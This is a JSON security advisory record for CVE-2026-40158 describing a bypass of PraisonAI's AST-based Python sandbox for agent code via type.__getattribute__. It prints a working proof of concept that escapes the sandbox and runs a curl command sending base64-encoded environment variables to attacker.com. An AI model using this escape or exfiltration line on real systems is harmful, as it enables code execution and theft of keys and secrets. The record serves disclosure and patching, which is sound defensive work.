{"id":"CVE-2026-40158","aliases":["CVE-2026-40158","GHSA-3c4r-6p77-xwr7","PYSEC-2026-2898"],"related":[],"kind":"vulnerability","state":"published","title":"PraisonAI has Improper Control of Generation of Code ('Code Injection') and Protection Mechanism Failure in praisonai","summary":"PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.","source":"cvelist"},{"lang":"en","text":"PraisonAI's AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.\n\n## Description\n\nThe `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:\n\nThe sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.\n\n\n```python\ntype.__getattribute__(obj, '__subclasses__')  # Bypasses filter\n```\n\nThe string `'__subclasses__'` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.\n\n## Proof of Concept\n\n```python\n# This code bypasses the sandbox and achieves RCE\nt = type\nint_cls = t(1)\n\n# Bypass blocked __bases__ via type.__getattribute__\nbases = t.__getattribute__(int_cls, '__bases__')\nobj_cls = bases[0]\n\n# Bypass blocked __subclasses__\nsubclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')\nall_subclasses = subclasses_fn()\n\n# Find _wrap_close class\nfor c in all_subclasses:\n    if t.__getattribute__(c, '__name__') == '_wrap_close':\n        # Get __init__.__globals__ via bypass\n        init = t.__getattribute__(c, '__init__')\n        glb = type(init).__getattribute__(init, '__globals__')\n        \n        # Get system function and execute\n        system = glb['system']\n        system('curl https://attacker.com/steal --data \"$(env | base64)\"')\n```\n\n---\n\n## Impact\n\nThis vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.\n\nAn attacker can:\n\n* Access sensitive data such as environment variables, API keys, and local files\n* Execute arbitrary system commands\n* Modify or delete files on the system\n\nIn environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.\n\n---\n\n## Affected Code\n\n```python\n# praisonaiagents/tools/python_tools.py (approximate)\ndef _execute_code_direct(code, ...):\n    tree = ast.parse(code)\n    \n    for node in ast.walk(tree):\n        # Only checks ast.Attribute nodes\n        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:\n            raise SecurityError(...)\n    \n    # Bypass: string arguments are not checked\n    exec(compiled, safe_globals)\n```\n\n\n**Reporter:** Lakshmikanthan K (letchupkt)","format":"markdown","source":"ghsa"},{"lang":"es","text":"PraisonAI es un sistema de equipos multiagente. Antes de la 4.5.128, el sandbox de Python basado en AST de PraisonAI puede ser eludido utilizando el trampoline type.__getattribute__, permitiendo la ejecución de código arbitrario al ejecutar código de agente no confiable. La función _execute_code_direct en praisonaiagents/tools/python_tools.py utiliza filtrado AST para bloquear atributos peligrosos de Python como __subclasses__, __globals__ y __bases__. Sin embargo, el filtro solo verifica nodos ast.Attribute, permitiendo una elusión. El sandbox se basa en el filtrado basado en AST del acceso a atributos, pero no tiene en cuenta la resolución dinámica de atributos a través de métodos incorporados como type.getattribute, lo que resulta en una aplicación incompleta de las restricciones de seguridad. La cadena ’__subclasses__’ es un ast.Constant, no un ast.Attribute, por lo que nunca se verifica contra la lista bloqueada. Esta vulnerabilidad está corregida en la 4.5.128.","source":"nvd"}],"published":"2026-04-10T16:49:24.753Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.6,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.6,"rating":"HIGH"}],"cwes":["CWE-94","CWE-693"],"affected":[{"ranges":[{"version":"< 4.5.128","status":"affected"}],"vendor":"MervinPraison","product":"PraisonAI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.128"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.5.128"}],"vendor":"praison","product":"praisonai","cpe":"cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.128"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"pysec"}],"references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40158","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/MervinPraison/PraisonAI","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/praisonai","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-3c4r-6p77-xwr7","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-10T18:31:02.529Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40158","url":"https://www.cve.org/CVERecord?id=CVE-2026-40158","licence":"CVE Terms of Use","modified":"2026-04-10T18:31:12.440Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3c4r-6p77-xwr7","url":"https://github.com/advisories/GHSA-3c4r-6p77-xwr7","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:34.911Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40158","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40158","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2898","url":"https://osv.dev/vulnerability/PYSEC-2026-2898","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:48.419Z"}],"updatedAt":"2026-11-25T22:59:18.529Z","epss":{"score":0.00239,"percentile":0.08978,"date":"2026-11-30T12:00:22.000Z"}}